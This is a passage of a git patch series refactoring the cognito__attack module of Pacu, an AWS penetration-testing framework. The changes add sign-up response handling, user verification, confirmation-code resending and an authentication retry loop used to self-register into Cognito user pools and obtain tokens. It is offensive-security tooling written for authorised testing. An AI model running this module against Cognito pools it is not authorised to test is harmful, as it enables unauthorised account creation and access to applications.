- all_new_regions.append(up_client["Region"]) + if sign_up_resposne.is_new_user: + tokens = verify( + client, + username, + up_client["ClientId"], + up_client["UserPoolId"], + up_client["Region"], + ) + all_new_regions.append(up_client["Region"]) try: aws = AWSSRP( @@ -938,7 +949,10 @@ def sign_up( username: str, password: str, user_attributes: List[Dict[str, str]] = None, -) -> Optional[str]: +) -> SignUpResponse: + + response = SignUpResponse(username=username) + user_attributes = user_attributes or [] email_exists = any(attribute["Name"] == "email" for attribute in user_attributes) @@ -953,10 +967,11 @@ def sign_up( UserAttributes=user_attributes, ) print(f"Successfully signed up user {username}.") - return username + return response except client.exceptions.UsernameExistsException: print(f"Username {username} already exists. Attempting to log in.") - return None + response.is_new_user = False + return response except client.exceptions.InvalidParameterException as e: error_message = str(e) print(error_message) @@ -990,7 +1005,7 @@ def sign_up( ) except Exception as e: print(f"Error signing up user {username}: {str(e)}") - return None + return SignUpResponse() def verify(client, username, client_id, user_pool_id, region): From e51a1cd9367684f57e3e4e14045400a55b524fa3 Mon Sep 17 00:00:00 2001 From: Eduard Schwarzkopf Date: Thu, 9 May 2024 13:20:31 +0200 Subject: [PATCH 10/14] fix typo --- pacu/modules/cognito__attack/main.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pacu/modules/cognito__attack/main.py b/pacu/modules/cognito__attack/main.py index c20e6bf7..5b733d0c 100644 --- a/pacu/modules/cognito__attack/main.py +++ b/pacu/modules/cognito__attack/main.py @@ -404,7 +404,7 @@ def main(args, pacu_main: Main): "cognito-identity", up_client["Region"] ) try: - sign_up_resposne = sign_up( + sign_up_response = sign_up( client, args.email, up_client["ClientId"], @@ -416,12 +416,12 @@ def main(args, pacu_main: Main): print("User exists.") break - username = sign_up_resposne.username + username = sign_up_response.username if username is None: break - if sign_up_resposne.is_new_user: + if sign_up_response.is_new_user: tokens = verify( client, username, From 26e3282c8537c23f1cd74b231c73991d594b68de Mon Sep 17 00:00:00 2001 From: Eduard Schwarzkopf Date: Thu, 9 May 2024 14:04:11 +0200 Subject: [PATCH 11/14] handle user already exist, but not confirmed --- pacu/modules/cognito__attack/main.py | 37 +++++++++++++++++++++------- 1 file changed, 28 insertions(+), 9 deletions(-) diff --git a/pacu/modules/cognito__attack/main.py b/pacu/modules/cognito__attack/main.py index 5b733d0c..282ee7d0 100644 --- a/pacu/modules/cognito__attack/main.py +++ b/pacu/modules/cognito__attack/main.py @@ -11,6 +11,7 @@ from copy import deepcopy from botocore.exceptions import ClientError from pacu import Main +from botocore.client import BaseClient # Using Spencer's iam_enum.py as a template @@ -145,6 +146,21 @@ class SignUpResponse: is_new_user: bool = True +def _verify_user( + client: BaseClient, username: str, up_client: dict, all_new_regions: list +): + tokens = verify( + client, + username, + up_client["ClientId"], + up_client["UserPoolId"], + up_client["Region"], + ) + all_new_regions.append(up_client["Region"]) + + return tokens + + def main(args, pacu_main: Main): attack_users = [] all_new_regions = [] @@ -422,14 +438,7 @@ def main(args, pacu_main: Main): break if sign_up_response.is_new_user: - tokens = verify( - client, - username, - up_client["ClientId"], - up_client["UserPoolId"], - up_client["Region"], - ) - all_new_regions.append(up_client["Region"]) + _verify_user(client, username, up_client, all_new_regions) try: aws = AWSSRP( @@ -439,7 +448,17 @@ def main(args, pacu_main: Main): client_id=up_client["ClientId"], client=client, ) - tokens = aws.authenticate_user() + try: + tokens = aws.authenticate_user() + except ClientError as e: + + error_response = e.response["Error"] + if error_response["Code"] == "UserNotConfirmedException": + print( + "User already exists, but not confirmed! Please verify first." + ) + _verify_user(client, username, up_client, all_new_regions) + if "AuthenticationResult" in tokens: print("You're signed in as " + username + "!") print( From 7214807932b4398adbcc732d68d5fb565012ea71 Mon Sep 17 00:00:00 2001 From: Eduard Schwarzkopf Date: Sat, 25 May 2024 10:37:32 +0200 Subject: [PATCH 12/14] resend confirmation code --- pacu/modules/cognito__attack/main.py | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/pacu/modules/cognito__attack/main.py b/pacu/modules/cognito__attack/main.py index 282ee7d0..52996ef2 100644 --- a/pacu/modules/cognito__attack/main.py +++ b/pacu/modules/cognito__attack/main.py @@ -457,6 +457,16 @@ def main(args, pacu_main: Main): print( "User already exists, but not confirmed! Please verify first." ) + + client.resend_confirmation_code( + ClientId=up_client["ClientId"], + Username=username, + ) + + print( + "A new token has been send!", + ) + _verify_user(client, username, up_client, all_new_regions) if "AuthenticationResult" in tokens: From 162251508bac0666268332bdf397170a5a12defd Mon Sep 17 00:00:00 2001 From: Eduard Schwarzkopf Date: Sat, 25 May 2024 10:38:45 +0200 Subject: [PATCH 13/14] authenticate again when user was verified on next attempt --- pacu/modules/cognito__attack/main.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/pacu/modules/cognito__attack/main.py b/pacu/modules/cognito__attack/main.py index 52996ef2..e8b72661 100644 --- a/pacu/modules/cognito__attack/main.py +++ b/pacu/modules/cognito__attack/main.py @@ -468,6 +468,7 @@ def main(args, pacu_main: Main): ) _verify_user(client, username, up_client, all_new_regions) + tokens = aws.authenticate_user() if "AuthenticationResult" in tokens: print("You're signed in as " + username + "!") @@ -907,7 +908,7 @@ def main(args, pacu_main: Main): search_string = "custom" choice = input("List all custom attributes for all users in all user pools (y/n)?") - if choice.lower() == "y" and session.Cognito["UsersInPools"] is not None: + if choice.lower() == "y" and session.Cognito.get("UsersInPools", None) is not None: for user in session.Cognito["UsersInPools"]: if any( search_string in attribute["Name"] for attribute in user["Attributes"] From 6842c8e8aec0a64534ec5ee387851ef918c7095a Mon Sep 17 00:00:00 2001 From: Eduard Schwarzkopf Date: Sat, 25 May 2024 11:53:15 +0200 Subject: [PATCH 14/14] add authentication logic --- pacu/modules/cognito__attack/main.py | 57 ++++++++++++++++++---------- 1 file changed, 38 insertions(+), 19 deletions(-) diff --git a/pacu/modules/cognito__attack/main.py b/pacu/modules/cognito__attack/main.py index e8b72661..e99f2ed6 100644 --- a/pacu/modules/cognito__attack/main.py +++ b/pacu/modules/cognito__attack/main.py @@ -161,6 +161,38 @@ def _verify_user( return tokens +def _authenticate_user( + aws: AWSSRP, + client: BaseClient, + username: str, + up_client: Dict, + all_new_regions: List, +): + try_again = True + + while try_again: + try: + return aws.authenticate_user() + except ClientError as e: + error_response = e.response["Error"] + if error_response["Code"] == "UserNotConfirmedException": + print("User already exists, but not confirmed. Please verify first.") + + choice = input("Send new confirmation code? (y/n): ") + if choice.lower() in ["y", "yes"]: + client.resend_confirmation_code( + ClientId=up_client["ClientId"], Username=username + ) + + _verify_user(client, username, up_client, all_new_regions) + else: + print(f"An unexpected error occurred: {error_response}") + try_again = False + + user_input = input("Do you want to try again? (y/n): ") + try_again = user_input.lower() in ["y", "yes"] + + def main(args, pacu_main: Main): attack_users = [] all_new_regions = [] @@ -448,27 +480,14 @@ def main(args, pacu_main: Main): client_id=up_client["ClientId"], client=client, ) - try: - tokens = aws.authenticate_user() - except ClientError as e: - - error_response = e.response["Error"] - if error_response["Code"] == "UserNotConfirmedException": - print( - "User already exists, but not confirmed! Please verify first." - ) - client.resend_confirmation_code( - ClientId=up_client["ClientId"], - Username=username, - ) - - print( - "A new token has been send!", - ) + tokens = _authenticate_user( + aws, client, username, up_client, all_new_regions + ) - _verify_user(client, username, up_client, all_new_regions) - tokens = aws.authenticate_user() + if not tokens: + print("Authentication process failed! Aborting...") + return if "AuthenticationResult" in tokens: print("You're signed in as " + username + "!")